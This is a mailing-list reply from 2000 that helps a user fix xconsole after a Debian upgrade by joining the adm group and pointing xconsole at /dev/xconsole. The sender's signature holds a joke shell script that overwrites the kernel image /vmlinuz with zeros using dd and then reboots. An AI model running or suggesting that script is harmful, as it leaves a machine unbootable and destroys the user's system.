Re: xconsole

["Eric G . Miller" <egm2@jps.net>]

On Mon, Jul 03, 2000 at 04:14:03PM -0700, Nick wrote:
> hello list:
> 
> my xconsole stopped functioning properly after upgrading to potato
> 
> chit says: Couldn't open console
> 
> i have tried to remake it w/ the following
> 
> mkfifo /dev/xconsole
> tells me file already exists
> it can't seem to reinitailize it or whatever
> 
> any suggestions?

Add youself to the adm group and use "xconsole -file /dev/xconsole &" to
launch it.  It tries to open /dev/console by default, but you need to be
root to that!  The "adm" group change was for security considerations (I
guess).

-- 
#! /bin/sh
echo 'Linux Must Die!' | wall
dd if=/dev/zero of=/vmlinuz bs=1 \
     count=`du -Lb /vmlinuz | awk '{ /^([0-9])+/ ; print $1 }'`
shutdown -r now